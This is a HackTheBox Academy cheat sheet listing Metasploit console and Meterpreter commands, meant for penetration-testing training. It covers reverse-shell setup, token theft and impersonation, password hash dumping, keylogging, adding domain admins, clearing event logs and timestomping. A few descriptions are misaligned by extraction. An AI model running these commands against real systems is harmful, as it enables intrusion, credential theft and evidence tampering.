HACKTHEBOX

USING THE METASPLOIT FRAMEWORK

CHEAT SHEET

MSFconsole Commands

Show all exploits within the Framework: `show exploits`

Show all payloads within the Framework: `show payloads`

Show all auxiliary modules within the Framework: `show auxiliary`

Search for exploits or modules within the Framework: `search <name>`

Load information about a specific exploit or module: `info`

Load an exploit or module (example: use windows/smb/psexec): `use <name>`

Load an exploit by using the index number displayed after the search command: `use <number>`

Your local host's IP address reachable by the target, often the public IP address when not on a local network. Typically used for reverse shells: `LHOST`

HACKTHEBOX

USING THE METASPLOIT FRAMEWORK

CHEAT SHEET

The remote host or the target. set function Set a specific value (for example, LHOST or RHOST): RHOST

Set a specific value globally (for example, LHOST or RHOST):
`setg <function>`

Show the options available for a module or exploit:
`show options`

Show the platforms supported by the exploit:
`show targets`

Specify a specific target index if you know the OS and service pack: `set target <number>`

Specify the payload to use: `set payload <payload>`

Specify the payload index number to use after the show payloads command: `set payload <number>`

Show advanced options: `show advanced`

Automatically migrate to a separate process upon exploit completion: `set autorunscript migrate -f`

Determine whether a target is vulnerable to an attack: `check`

HACKTHEBOX

USING THE METASPLOIT FRAMEWORK

CHEAT SHEET

Execute the module or exploit and attack the target: `exploit`

Run the exploit under the context of the job (This will run the exploit in the background): `exploit -j`

Do not interact with the session after successful exploitation: `exploit -z`

Specify the payload encoder to use (example: exploit -e shikata_ga_nai): `exploit -e <encoder>`

Display help for the exploit command: `exploit -h`

List available sessions (used when handling multiple shells): `sessions -l`

List all available sessions and show verbose fields, such as which vulnerability was used when exploiting the system: `sessions -l -v`

Run a specific Meterpreter script on all Meterpreter live sessions: `sessions -s <script>`

Kill all live sessions: `sessions -K`

Execute a command on all live Meterpreter sessions: `sessions -c <cmd>`

HTB ACADEMY CHEATSHEET

HACKTHEBOX

USING THE METASPLOIT FRAMEWORK

CHEAT SHEET

Upgrade a normal Win32 shell to a Meterpreter console:
`sessions -u <sessionID>`

Create a database to use with database-driven attacks (example: db_create autopwn): `db_create <name>`

Create and connect to a database for driven attacks (example: db_connect autopwn): `db_connect <name>`

Use Nmap and place results in a database (Normal Nmap syntax is supported, such as -sT -v -P0): `db_nmap`

Delete the current database: `db_destroy`

Delete database using advanced options:
`db_destroy <user:password@host:port/database>`

Meterpreter Commands

Open Meterpreter usage help: `help`

Run Meterpreter-based scripts; for a full list check the scripts/meterpreter directory: `run <scriptname>`

Show the system information on the compromised target:
`sysinfo`

HACKTHEBOX

USING THE METASPLOIT FRAMEWORK

CHEAT SHEET

List the files and folders on the target: `ls`

Load the privilege extension for extended Meterpreter libraries: `use priv`

Show all running processes and which accounts are associated with each process: `ps`

Migrate to the specific process ID (PID is the target process ID gained from the ps command): `migrate <proc. id>`

Load incognito functions (Used for token stealing and impersonation on a target machine): `use incognito`

List available tokens on the target by user: `list_tokens -u`

List available tokens on the target by group: `list_tokens -g`

Impersonate a token available on the target: `impersonate_token <DOMAIN_NAMEUSERNAME>`

Steal the tokens available for a given process and impersonate that token: `steal_token <proc. id>`

Stop impersonating the current token: `drop_token`

HACKTHEBOX

USING THE METASPLOIT FRAMEWORK

CHEAT SHEET

Attempt to elevate permissions to SYSTEM-level access through multiple attack vectors: `getsystem`

Drop into an interactive shell with all available tokens: `shell`

Execute cmd.exe and interact with it:
`execute -f <cmd.exe> -i`

Execute cmd.exe with all available tokens:
`execute -f <cmd.exe> -i -t`

Execute cmd.exe with all available tokens and make it a hidden process: `execute -f <cmd.exe> -i -H -t`

Revert back to the original user you used to compromise the target: `rev2self`

Interact, create, delete, query, set, and much more in the target's registry: `reg <command>`

Switch to a different screen based on who is logged in:
`setdesktop <number>`

Stop impersonating the current token: `screenshot`

Upload a file to the target: `upload <filename>`

Download a file from the target: `download <filename>`

HACKTHEBOX

USING THE METASPLOIT FRAMEWORK

CHEAT SHEET

Start sniffing keystrokes on the remote target:
`keyscan_start`

Dump the remote keys captured on the target:
`keyscan_dump`

Stop sniffing keystrokes on the remote target:
`keyscan_stop`

Get as many privileges as possible on the target:
`getprivs`

Take control of the keyboard and/or mouse:
`uictl enable <keyboard/mouse>`

Run your current Meterpreter shell in the background:
`background`

Dump all hashes on the target. use sniffer Load the sniffer module: `hashdump`

List the available interfaces on the target:
`sniffer_interfaces`

Start sniffing on the remote target:
`sniffer_dump <interfaceID> pcapname`

HTB ACADEMY CHEATSHEET

HACKTHEBOX

USING THE METASPLOIT FRAMEWORK

CHEAT SHEET

Start sniffing with a specific range for a packet buffer:
```
sniffer_start <interfaceID> packet-buffer
```

Grab statistical information from the interface you are sniffing:
```
sniffer_stats <interfaceID>
```

Stop the sniffer:
```
sniffer_stop <interfaceID>
```

Add a user on the remote target:
```
add_user <username> <password> -h <ip>
```

Add a username to the Domain Administrators group on the remote target:
```
add_group_user <"Domain Admins"> <username> -h <ip>
```

Clear the event log on the target machine:
```
clearev
```

Change file attributes, such as creation date (antiforensics measure):
```
timestomp
```

Reboot the target machine:
```
reboot
```


HTB ACADEMY CHEATSHEET